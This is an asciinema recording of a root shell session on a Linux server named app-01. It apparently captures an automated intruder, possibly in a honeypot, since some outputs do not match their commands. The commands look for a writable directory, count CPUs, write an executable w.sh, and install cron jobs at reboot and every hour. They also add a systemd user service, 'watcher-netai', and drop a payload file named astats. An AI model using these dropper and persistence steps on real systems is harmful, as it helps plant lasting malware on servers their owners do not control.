{"version":2,"width":80,"height":24,"timestamp":1789108954,"env":{"shell":"/bin/bash","term":"xterm-256color"}}
[1.51363991, "o", "root@app-01:~# "]
[1.5136861609999999, "o", "uname -a\r\n"]
[1.5310209989999999, "o", "Linux app-01 6.8.0-51-generic #52-Ubuntu SMP PREEMPT_DYNAMIC Thu Dec  5 13:09:44 UTC 2024 x86_64 GNU/Linux\r\n"]
[3.005435691, "o", "root@app-01:~# "]
[3.005474062, "o", "sh -c 'for d in /dev/shm /tmp /var/run /mnt /root /; do cd \"$d\" 2>/dev/null && pwd && break; done'\r\n"]
[3.007613653, "o", ""]
[4.53008498, "o", "root@app-01:~# "]
[4.530103221, "o", "cat /proc/cpuinfo | grep processor | wc -l\r\n"]
[4.5306249659999995, "o", ""]
[6.763416542, "o", "root@app-01:~# "]
[6.763433122, "o", "cd \"/tmp\" && if [ ! -f \"w.sh\" ]; then cat > \"w.sh\" && chmod +x w.sh; fi\r\n"]
[6.765497932, "o", "-bash: cd: \"/tmp\": No such file or directory\r\n"]
[8.229615313, "o", "root@app-01:~# "]
[8.229662994, "o", "\r\nCRON=\"$(crontab -l 2>/dev/null || true)\"\r\necho \"$CRON\" | grep -F '/tmp/w.sh \"astats\" \"netai\" \"kstats\" \"ssh 2 ranges\"' >/dev/null 2>&1 || \\\r\n  printf '%s\\n%s\\n' \"@reboot  /tmp/w.sh \"astats\" \"netai\" \"kstats\" \"ssh 2 ranges\"\" \"0 * * * * cd \"/tmp\" && ./w.sh \"astats\" \"netai\" \"kstats\" \"ssh 2 ranges\"\" | (cat -; echo \"$CRON\") | crontab -\r\n\r\n"]
[8.23161222, "o", "-bash: crontab: command not found\r\n"]
[9.723535326, "o", "root@app-01:~# "]
[9.723576887, "o", "sh -lc 'mkdir -p ~/.config/systemd/user && cat > ~/.config/systemd/user/watcher-netai.service && systemctl --user daemon-reload && systemctl --user enable --now watcher-netai.service'\r\n"]
[9.724438601, "o", ""]
[11.187702722, "o", "root@app-01:~# "]
[11.187720332, "o", "ps -eo pid,pcpu,comm --sort=-pcpu | head -n 10\r\n"]
[11.188114384, "o", "  PID TTY          TIME CMD\r\n    1 ?......    00:00:02 /sbin/init\r\n  445 ?......    00:00:01 /usr/sbin/sshd -D\r\n  534 ?......    00:00:03 /usr/sbin/nginx: master process\r\n  623 ?......    00:00:00 /usr/sbin/cron -f\r\n  712 ?......    00:00:01 /usr/sbin/mariadbd\r\n  845 ?......    00:00:00 php-fpm: master process\r\n  925 ?......    00:00:00 php-fpm: pool www\r\n  926 ?......    00:00:00 php-fpm: pool www\r\n 1523 pts/0..    00:00:00 -bash\r\n"]
[12.613568808, "o", "root@app-01:~# "]
[12.613587659, "o", "ps aux | grep astats | grep -v grep | wc -l\r\n"]
[12.614259378, "o", ""]
[14.08900257, "o", "root@app-01:~# "]
[14.089035331, "o", "cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > astats\r\n"]
[14.089521905, "o", ""]